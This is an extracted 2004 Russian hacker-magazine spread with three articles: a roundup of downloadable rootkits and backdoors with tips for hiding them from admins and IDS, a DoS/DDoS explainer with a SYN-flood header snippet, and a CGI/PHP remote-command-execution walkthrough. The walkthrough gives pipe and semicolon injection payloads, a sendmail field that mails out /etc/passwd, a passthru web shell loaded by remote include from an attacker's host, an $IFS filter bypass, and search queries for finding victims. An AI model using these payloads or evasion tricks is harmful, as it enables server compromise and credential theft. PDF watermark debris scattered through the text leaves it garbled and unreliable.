Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / журнал хакер / специальные выпуски / Специальный выпуск 47_Optimized

.pdf
Скачиваний:
16
Добавлен:
20.04.2024
Размер:
11.92 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

df

 

 

n

 

 

o

 

МНОГО БЭКДОРОВ, ХОРОШИХ И РАЗНЫХ

 

.

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

-xcha

 

e

 

 

 

 

 

 

 

 

 

 

 

 

Не всегда есть возможность и желание писать бэкдор самому. Я приготовил коротенький обзор полезных бэкдоров/руткитов, доступных в сети:

Bdoor.c - бэкдор, маскирующийся под HTTP-демон. Он не использует никаких stealth-технологий. Применять его можно только в расчете на невнимательность администратора (явление, надо признать, очень частое).

SYS_getuid был бы просто отличным руткитом, если бы не так просто ловился в системе. Для его обнаружения достаточно сделать копию таблицы системных вызовов после установки системы (до того как система затроянена), а потом время от времени сверять указатели, текущую таблицу с копией, любые расхождения будут означать присутствие бэкдора.

Superkit – замечательный многофункциональный руткит. Умеет прятать файлы, процессы, соединения в netstat. Имеет функцию защиты паролем. Умеет открывать порт и запускать на нем удаленный шелл. И самое приятное - он не может быть обнаружен с помощью сравнения таблиц системных вызовов.

Linuxrootkit5 - это довольно старый, но не потерявший своей актуальности руткит. Помимо стандартного набора функций lkm-рут- кита, он умеет прятать cron-записи, что бывает очень полезно, когда стараешься обхитрить админа любыми способами.

kbdv2.c - Linux loadable kernel module backdoor. Классический пример бэкдора, подгружаемого к ядру системы. Перехватывает системные вызовы (SYS_stat, SYS_getuid). Интересен бэкдор не столько своими функциями, сколько хорошо комментированным исходным кодом. Его изучение может быть очень полезно при написании собственной программы подобного рода.

Neth – детище Forb’а. Отличный бэкдор! Написанный с использованием "сырых" сокетов, он не открывает TCP-портов, за счет чего не палится ни netstat’ом, ни удаленным сканером.

Практически все перечисленные мной программки можно скачать с сайта www.packetstormsecurity.nl.

Замаскированный бэкдор

39

Другой способ - написать LKM, который бы перехватывал системные вызовы утилиты netstat. Это вообще самый лучший подход к редактированию вывода любых системных утилит, будь то ps или netstat. Он немного сложен в реализации, но, если знать, куда копать - какие системные вызовы в каких случаях перехватывать, то справиться можно.

Допустим, нам удалось скрыть бэкдор из списка открытых соединений. А что, если администратор проверяет свою систему не локально, а, например, удаленно с помощью различ- ных программ вроде nmap? Тогда при сканировании администратор заметит, что в системе открыт "левый" порт, а netstat его не показывает. Админ сразу же просечет фишку, и больше мы на его машину не попадем. Именно для таких слу- чаев хакеры придумали еще кое-что для сокрытия своего присутствия в системе. При написании бэкдора следует использовать не SOCK_STREAM, а SOCK_RAW, то есть вместо TCP-сокетов юзать RAW-со- кеты. Красивый способ: RAW-сокеты позволяют слушать весь входящий трафик, а это дает нам огромные возможности. Например, мы можем сделать так, чтобы после посылки определенного пакета бэкдор открывал шелл на определенном порту. Примеры подобных бэкдоров - на packetstormsecurity.nl.

МАСКИРУЕМ ТРАФИК

Грамотный администратор не всегда ограничивается стандартными средствами при поиске бэкдора в своей системе. Иногда он прибегает к поиску злоумышленника с помощью снифера или IDS, подобной Снорту. А от зоркого глаза (или чуткого носа? :)) “нюхача” не скроется ни один даже самый навороченный бэкдор.

Как же уберечься от надоедливого админа и его кошмарной IDS? Тут поможет только одно – полное шифрование трафика, которое уберет заметный plain text команд из логов снифера. Хакеры используют для этого самые разные криптоалгоритмы: и IDEA, и xTEA, и Blowfish, и Twofish.

Но, даже шифруясь, не стоит забывать, что лишний гигабайт трафика, генерируемый к тому же ка- ким-нибудь RAW-сокетом, заметит даже слепой админ. При использовании чужих мощностей надо знать меру :).

НАПОСЛЕДОК

В этой статье я описал лишь самые популярные подходы к маскировке. Время не стоит на месте, постоянно изобретаются все новые и новые способы сокрытия бэкдоров. Старайся не отставать от прогресса, ведь не просто так говорят: "Кто остановился, тот умер!" E

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

* N I X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Å Ï Ð È Ñ Ò Ó Ï Í Û É

 

Утилита cron поможет обхитрить администратора.

Умный админ может регулярно считать MD5-хэши от всех файлов в системе. Он без труда может заметить изменения в системных утилитах.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

40

ВЗЛОМ

DOS/DDOS, ИЛИ АТАКА ГРУБОЙ СИЛЫ

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

Ермолаев Евгений aka Saturn (saturn@linkin-park.ru)

 

w

 

 

 

 

 

 

 

o

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

DOS/DDOS

 

ЙЫНПУ* N I X

 

 

 

g

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

È Ñ Ò

 

 

 

 

 

 

 

АТАКА ГРУБОЙ СИЛЫ

 

Ï Ð

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Å

 

 

 

 

 

 

 

опулярность атак, направленных на отказ в обслуживании, растет с каждым днем. При этом о них опубликовано

 

 

 

 

 

 

 

 

Ïкрайне мало действительно полезной информации. В основном доступны лишь поверхностные описания удачных

атак или негодования пострадавших. Этот материал поможет тебе разобраться в DoS/DDoS-атаках.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

IRC - самый популярный способ управления троянами

Если сервер атакует одна «точка», то он вполне может закрыться от нее фаерволом.

ÖÅËÜ

» Основная цель DoS/DDoS-атак - вывести объект из рабочего состояния. Конечно, в

большинстве случаев глобальная атака приводит к большим финансовым потерям со стороны атакуемого. Например, если какой-либо коммерческий сайт упадет на несколько часов, то это нанесет вред бизнесу, а если на неделю, то владелец ресурса вполне может разориться. Или взять локальные сети. Дело в том, что одним из эффектов популярных атак на Denial of Service (DoS) является огромный трафик, направляемый на жертву. Если для крупной западной фирмы это мелочь, то для небольшой отечественной домашней сети средняя атака может грозить разорением. Кроме огромного вреда, наносимого жертве, такие нападения отличаются простотой и огромной эффективностью. Против них нет стопроцентной защиты. Именно названные выше факторы привлекают к DoS внимание специалистов по сетевой безопасности и... DoS'еров.

ПРИНЦИП РАБОТЫ

Для того чтобы обнаружить, а уж тем более организовать DoS/DDoS-ата- ку, нужно разобраться в ее принципах. Эти атаки не направлены на получение доступа к ресурсам или к важной информации. Атака DoS делает ресурс недоступным для использования путем нарушения его нормальной работы. Атаку на отказ в обслуживании можно провести всего двумя способами: использовав уязвимости в программном обеспечении жертвы и при помощи отсылки большого количества определенно составленных сетевых пакетов (флуд). Первый способ состоит в том, чтобы, используя уязвимости типа переполнения буфера, отослать код, выполняющий DoS на сервере. Поскольку атака будет проводиться "изнутри", то через очень короткое время объект зависнет или будет отключен от интернета. Этот способ не требует больших вычислительных ресурсов нападающего, однако такая

Главной особенностью DDoS-атак является то, что для них не существует сервера, который нельзя "завалить".

атака предполагает использование уязвимостей, что само по себе усложняет задачу. Поскольку никто не хочет излишне заморачиваться, в народе более популярен второй способ, которому мы и уделим основное внимание. Это пример применения простой грубой силы, которая практически не нуждается в приложении ума. Идея состоит в том, чтобы переслать как можно больше "кривых" запросов серверу (впрочем, не только "кривых": от огромного количества нормальных пакетов, например GET-запросов для HTTPсервера хосты падают с таким же успехом). Дело в том, что при получении сервером пакета данных происходит его обработка. Если приходит пакет, но сервер занят приемом или обработкой другого пакета, то вновь приходящий запрос ставится в очередь, занимая при этом часть ресурсов системы. При проведении DoS-атаки серверу отсылается большое количество пакетов определенного размера. При этом ответ сервера не ожидается (обычно адрес отправителя фальсифицируется - спуфинг). В результате, из-за того что сервер оказывается перегружен информацией, он либо отключается от интернета, либо зависает. В любом случае, нормальные пользователи некоторое время (иногда довольно продолжительное) не могут пользоваться услугами пострадавшего сервера. Просто и со вкусом :). Однако если сервер атакует одна "точка", он вполне может закрыться от нее фаерволом. Кроме того, для проведения ка- чественной DoS-атаки необходима довольно высокая пропускная способность канала. Поэтому атака на отказ в обслуживании в большинстве случаев проводится сразу с нескольких машин. Атака, в проведении которой участвует много машин (обычно это затрояненные десктопы, их называют "зомби"), полу-

чила название DDoS (Distributed Denial of Service). Для сколь угодно мощного сервера всегда можно подобрать достаточное количество зомбиков (благо дырявых систем и ушастых юзверей по миру много развелось).

Есть несколько способов получения "зомби". Во-первых, это массовое внедрение трояна на компьютеры мирных пользователей. Самый популярный способ управления троянами - IRC, то есть организация ботнета. При посылке определенных команд троян активируется и мирный домашний компьютер (с широкополосным выходом в интернет) становится источником большого количества мусора, съедающего ресурсы атакуемого сервера.

Чтобы более детально разобраться в DoS-атаках, рассмотрим их наиболее известные разновидности. Выделяют пять наиболее популярных:

-TCP SYN Flood;

-TCP flood;

-Ping of Death;

-ICMP flood;

-UDP flood.

TCP SYN FLOOD È TCP FLOOD

Основная цель этого вида атак - превысить ограничение на количе- ство соединений, которые находятся в состоянии установки. В результате, система не может устанавливать новые соединения. После этого каждый дополнительный запрос еще сильнее увеличивает нагрузку. Для того чтобы достичь желаемого результата, при проведении атаки направляется большое количество запросов на инициализацию TСPсоединения с потенциальной жертвой. Такие атаки не нуждаются в обратной связи с атакующим, и поэтому можно не использовать настоящий адрес источника.

ХАКЕРСПЕЦ 10(47) 2004

Еще одна схема атаки: на сей раз при использовании "зомби".

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

e

o

 

 

.

 

 

 

 

 

Ниже приведен пример установки за-

 

 

p

df

 

 

 

g

.c

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-xcha

 

головка IP пакета, который можно ис-

 

 

 

 

 

 

 

 

пользовать в атаке типа "SYN Flood".

packet.ip.version=4; // Версия packet.ip.ihl=5; // Длина заголовка packet.ip.tos=0; // Тип сервиса packet.ip.tot_len=htons(40); // Общая длина packet.ip.id=getpid(); // Идентификатор packet.ip.frag_off=0; // Смещение фрагмента packet.ip.ttl=255; // Время жизни packet.ip.protocol=IPPROTO_TCP; // Протокол packet.ip.check=0; // Контрольная сумма packet.ip.saddr=saddress; // Адрес источника

packet.ip.daddr=daddress; // Адрес назначения

TCP flood - это вид атаки, при котором потенциальной жертве отправляется множество TCP-пакетов, что приводит

êсвязыванию системных ресурсов. Следующие виды DoS-атак основа-

ны на совершенно другом принципе. При помощи таких атак можно переполнить сеть или отдельно взятую мишень абсолютно бесполезными ping-пакетами. Для реализации следующих видов атаки достаточно нескольких строк кода. Итак, это атаки, основанные на протоколе ICMP:

PING OF DEATH È ICMP FLOOD

Большое количество DoS-атак основывается на протоколе ICMP. Некоторые его функции могут быть полезны для создания нападений такого рода. ICMP flood - это далеко не новый вид атаки, который, тем не менее, не теряет популярности. Здесь используется

ping. Ping изначально задумывался для проверки качества соединения с удаленным компьютером. Принцип работы следующий: программа отсылает некое сообщение, на которое удаленный компьютер автоматически отве- чает. Вроде бы все нормально. Однако при атаке используются большие (64 кБ), сильно фрагментированные ICMP-пакеты. При получении таких пакетов удаленная машина зависает.

Ping of Death основывается на ICMP flood, однако усиливает атаку за счет того, что ping-запросы пересылаются по адресу широковещательной рассылки. Используемый в пакетах запроса адрес - это адрес атакуемого сервера. Получившие такие "посылки

Схема работы FloodGuard (системы защиты)

смерти" системы отвечают на них и забивают жертву. Это очень серьезный вид атаки, который, правда, требует длительной подготовки. Требуется много "зомби", необходимо собрать достаточное количество информации о жертве и посредниках.

UDP FLOOD

Это наиболее опасный вид атаки. UDP-сервис одной машины генерирует последовательность символов для каждого получаемого системой пакета. Делается это в целях тестирования. Далее связывается с echo-серви- сом другой машины, которая повторяет эти символы. В результате, передается большое количество UDP-паке- тов с подделанным IP источника. Основная проблема для защиты состоит в том, что протокол UDP не устанавливает соединения и нет никаких индикаторов состояния, чтобы помочь межсетевой защите выявить нападение. Чтобы с большей долей вероятности избежать такой атаки, нужно удалить все ненужные UDP-сервисы, а остальным сервисам использовать механизм прокси-сервера.

САМЫЕ МОЩНЫЕ DOS/DDOS-АТАКИ

Теперь ты знаешь, что собой представляет атака на отказ в обслуживании. Пришло время составить небольшой хит-парад DoS/DDoS-атак.

1.Пожалуй, самой нашумевшей атакой из разряда DoS стала атака на корневые DNS-сервера, произошедшая в ноябре 2002 года. Тогда распределенной атаке подверглись все 13 DNS-серверов, семь из которых вышли из строя. Только высокий уровень избыточности в структуре интернета позволил избежать задержек при обращении к ресурсам.

2.Атака на сайт SCO, совершенная при помощи вируса MyDoom и всех его подцепивших. 22 августа 2003 года сайт компании SCO перестал отве- чать на запросы пользователей. Атака продолжалась несколько дней и прекратилась только 25 августа. Поскольку вирус MyDoom имел очень широкое распространение, то атака получи- лась мощнейшей. Вторая редакция вируса MyDoom.B, созданная для атаки

41

на сайт Microsoft, не имела такого "успеха" у пользователей.

3. Серверы Osirusoft крупнейшего хранилища IP-ад- ресов, замеченных в спаме, были отключе- ны после большого количества распределенных атак на отказ в обслуживании. Данная служба занималась ведением динамического списка IP-адресов, замеченных в спаме.

Атаки на отказ в обслуживании, несомненно, большое зло на просторах интернета. И если отдельно взятую пользовательскую машину можно защитить с помощью фаервола, то для серверов стопроцентной защиты нет и в скором времени не предвидится. Так что с DoS/DDoS-атаками сложилась довольно грустная (или веселая? :)) ситуация. Многие хостеры при обнаружении атаки просто выключают сервера. Это о чем-то говорит ;). E

SYN-FLOOD.

Способы подключения к жертве(2 вида атаки)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

* N I X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Å Ï Ð È Ñ Ò Ó Ï Í Û É

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

* N I X

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Å Ï Ð È Ñ Ò Ó Ï Í Û É

 

 

 

 

 

 

 

42 ВЗЛОМ ОТЫЩИ И ВЫПОЛНИ!

Докучаев Дмитрий aka Forb (forb@real.xakep.ru)

ОТЫЩИ И ВЫПОЛНИ!

УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОМАНД

X акеры способны атаковать сервер со всех сторон. Взломщик может использовать эксплоит или поразить сервер командой, выполненной через дырявый сценарий. HTTP-демон является самой опасной стороной сервера, которая

скрывает за собой возможность интерпретирования практически любой *nix-команды. Об этом и многом другом ты прочтешь в данном материале.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

По умолча- нию, директива allow_url_fo pen разрешена. Это означает, что функция fopen() способна подгрузить любой удаленный скрипт.

В PHP также можно произвести атаку на system(). Для этого необходимо поставить ";" по краям переменной, а саму переменную представить в виде команды.

»

ТАК МНОГО

СПОСОБОВ

 

 

ХОРОШИХ...

 

 

 

На самом деле, ут-

 

 

 

 

верждение, что удаленно выполнять команды можно только через Web, ошибочно. Любой рабо- чий эксплоит, нацеленный на бажный сервис, способен выполнить какое-ли- бо действие. Это может быть добавление пользователя, запуск интерпретатора и т.д. Важно то, что сам факт переполнения буфера приводит к фатальной ошибке и, как следствие, к удачному выполнению команды. Я бы с удовольствием раскрыл все тайны переполнения, но это уже было сделано в Спеце #08.04(45), посвященном дырявым буферам.

Второй способ - атака через Web. На тысячах Web-серверов крутятся миллионы бажных сценариев, через которые можно выполнять системные запросы. Некоторые админы не исправляют уязвимые сценарии, так как надеются на фаервол, но грамотный взломщик может влегкую отключить брандмауэр даже через Webлазейку. Я расскажу о самых известных уязвимостях в CGI/PHP-скрип- тах, эксплуатация которых приводит к фатальным последствиям.

АТАКА НА ПАЙПЫ

Начнем с самой популярной ошибки программистов. Баг таится в функции open(), которая есть в каждом более-менее серьезном сценарии. Суть ошибки состоит в следующем: функции передается имя файла, который необходимо прочитать и вывести на экран. Само имя поступает с входа CGI-потока, то есть задается удаленным пользователем как параметр скрипта. Всем известно, что open() понимает символ перенаправления (пайп) "|". Если этот символ встретится перед именем или после имени, функция попытается обратиться к файлу и выполнить его как команду! Хакеру достаточно изменить параметр скрипта на команду и обрамить ее вертикальными палочками.

Рассмотрим это на наглядном примере. Пусть в сценарии юзается следующий код:

$file=param('file'); open(FILENAME,$file); while(<FILENAME>) { print } close(FILENAME);

Мы видим, что переменная $file поступает с потоком данных. Она не проверяется на наличие каких-либо спецсимволов, поэтому хакер без проблем может добавить в переменную парочку пайпов. При нестандартном запросе в open() поступит переменная "|id|", которая выполнится как команда, а результат будет выведен на экран. Не думай, что этих скриптов мало - по статистике, каждый третий сервер можно атаковать таким тривиальным запросом.

SYSTEM() ПОГУБИТ МИР

Как известно, функция system() предназначена для выполнения системных команд. Изредка ее используют в CGI-сценариях, запуская внешние приложения. Ничего страшного не происходит, если системный запрос не содержит пользовательских параметров скрипта. В противном слу- чае злоумышленник может добиться выполнения произвольной команды. Рассмотрим пример бажного кода. Проект, из которого он позаимствован, и по сей день находится в онлайне, его код удалось выцепить после успешного эксплуатирования ошибки.

#!/usr/bin/perl

### Simply Perl-Whoiser by XXX.

use CGI qw(:standard); $host=param('host'); system("whois $host > log");

...

После того как скрипт получил параметр host, он выполняет system() с этой опцией безо всякой проверки символов. Стоит атакующему подставить в переменную $host (читай: в параметр скрипта host) символ ';', а за

ним произвольную команду, как в файл log поместится уже не ответ бинарника /usr/bin/whois, а команда взломщика. К примеру, запрос вида http://victim.com/whois.cgi?host=blabla.ru;id покажет текущего пользователя (то есть пользователя, с правами которого выполняются CGI-скрипты на сервере).

SENDMAIL - ВРАГ НАРОДА

Я не могу не упомянуть про старый добрый баг в вызове sendmail, который до сих пор можно отыскать в тухлых скриптах. Ошибка заключа- ется в использовании опции -t. Этот параметр позволяет указывать имя получателя в командной строке. Часто при таком раскладе это имя берется из входных данных CGIскрипта и не проверяется на спецсимволы. Вот фрагмент кода уязвимой гостевой книги:

use CGI qw(:standard); $email=param('email');

open(MAIL,"|/usr/sbin/sendmail -t $email");

print MAIL "From: admin@victim.com\n"; print MAIL "Subject: Thanks\n\nThank

you!\n";

close(MAIL);

Как видно, переменная $email никоим образом не проверяется, что может привести к нежелательным последствиям. Стоит только указать на странице e-mail в виде lamer@xakep.ru|cat /etc/passwd, и

Пара пайпов - и команда выполнена!

ХАКЕРСПЕЦ 10(47) 2004

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

43

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

g

.c

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

Эксплуатирование system()

взломщику на мыло придет письмо с вложенным passwd. И все это из-за халатности или безграмотности программиста.

Чтобы не возникало подобных ситуаций, нужно отказаться от ключика -t, а адрес получателя оформлять после вызова sendmail. Также необходимо проверять входные переменные на предмет лишних символов. Вот фрагмент кода, закрывающего баг:

die print "Incorrect address!\n" if ($email=~/[\|;]/ || $email~!/\@/);

open(MAIL,"|/usr/sbin/sendmail"); print MAIL "To: $email\n";

#...

ÎБЕДНОМ INCLUDE ЗАМОЛВИТЕ СЛОВО

Теперь поговорим о PHP-сценари- ях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной стороны, это очень удобно: кодер может без лишних проблем писать скрипты. А с другой стороны, никто не мешает злоумышленнику выполнить произ-

Письмо с аккаунтами

вольный системный код на системе. Для этого достаточно создать небольшой файл megahack.php на любом сервере (хотя поддержки PHP там нет, в противном случае файлу придется дать другое расширение, так как с расширением .php при обращении к файлу он будет интерпретироваться сервером как скрипт, а в данной ситуации необходимо, чтобы сервер просто выдал его содержимое) и подсунуть URL файла уязвимому скрипту. Файл может быть таким:

<?php passthru $cmd ?>

Функция include помогает подгрузить в скрипт любой файл (аналогич- но директиве #include препроцессора

âC):

<?php

# ...

include $my_include . '.php';

# ...

?>

В данном случае программист даже не представляет, что вместо его любимого data.php (если в $my_include хранится строка 'data') может подгрузиться хакерский data.php, находящийся на далеком уругвайском сервере по адресу http://urugwayhost/data.php (правда, для этого необходимо, чтобы у PHP директива allow_url_fopen была вклю- чена, но чаще всего так и бывает). Если все условия выполнены, взломщик вставляет в запрос дополнительный параметр "my_include" и присваивает ему значение URL своего скрипта (без

НЕ БОЛЬШЕ ОДНОГО СЛОВА!

Бывают случаи, когда команда выполняется, но скрипт нещадно отрезает все ее аргументы. Получается, что хакер имеет право вставить всего одно слово в запрос. Из этой, казалось бы, неизбежной ситуации есть выход: вместо пробела нужно подставить пустую переменную окружения $IFS. Таким образом, запрос вида http://victim.com/bug.cgi?file=uname$IFS-a способен обойти жесткую проверку.

Обход ограничения

Уязвимый include у ног хакера

".php" на конце). Например, запрос, выполняющий команду ls, выглядит следующим образом:

http://victim/view.php?my_include=http:// urugwayhost/data&cmd=ls.

В случае если админ запретил открытие ссылок в fopen(), можно составить PHP-код и поместить его в каталог /tmp: для этого стоит воспользоваться FTP или другой уязвимостью, позволяющей создавать на сервере файлы. В качестве параметра взломщик укажет путь к локальному файлу (например, /tmp/data).

ОТТЯНИСЬ ПО ПОЛНОЙ!

"Ну и где найти все это добро?" - спросишь ты. Конечно, на поисковиках! Например, с помощью Гугла можно отыскать PHP-скрипт, содержащий include-баг. Для этого можно воспользоваться запросом вида "filetype:php file=". В итоге поисковик покажет все PHP-сценарии с переменной file. Я уверен, что добрая их половина "болеет" include-багом.

Если хочется найти CGI-скрипт с ошибкой в open(), можно использовать конструкцию "filetype:cgi html" или "filetype:pl html. В ответ мы полу- чим массу сценариев с расширением

.cgi или .pl соответственно, подключа- ющих html-файлы. Именно в них содержится бажный код без проверки переменных на наличие пайпов.

В заключение замечу, что взлом че- рез WWW - дело творческое, к каждому сценарию необходим индивидуальный подход. Только тогда взломщик сможет чего-то добиться. Но на- чинать надо с поиска простых ошибок - багов в open(), fopen(), system() и других аналогичных функциях. Постигнув азы, ты продвинешься далее и сможешь анализировать скрипт, даже при отсутствии его исходников. Нужно лишь стремление и опыт, а остальное приложится. E

Поиск! Только поиск!

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

* N I X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Å Ï Ð È Ñ Ò Ó Ï Í Û É

 

Если в CИшном коде программиста заботит явление переполнения буфера, то Web-раз- работчика в первую оче- редь должны волновать параметры, передаваемые CGI-сцена- рию.

Ничто не мешает хакеру залить эксплоит через Web, получить рутовые права и насильно отключить фаервол.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

44

ВЗЛОМ

«ЯДРА - ЧИСТЫЙ ИЗУМРУД»

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

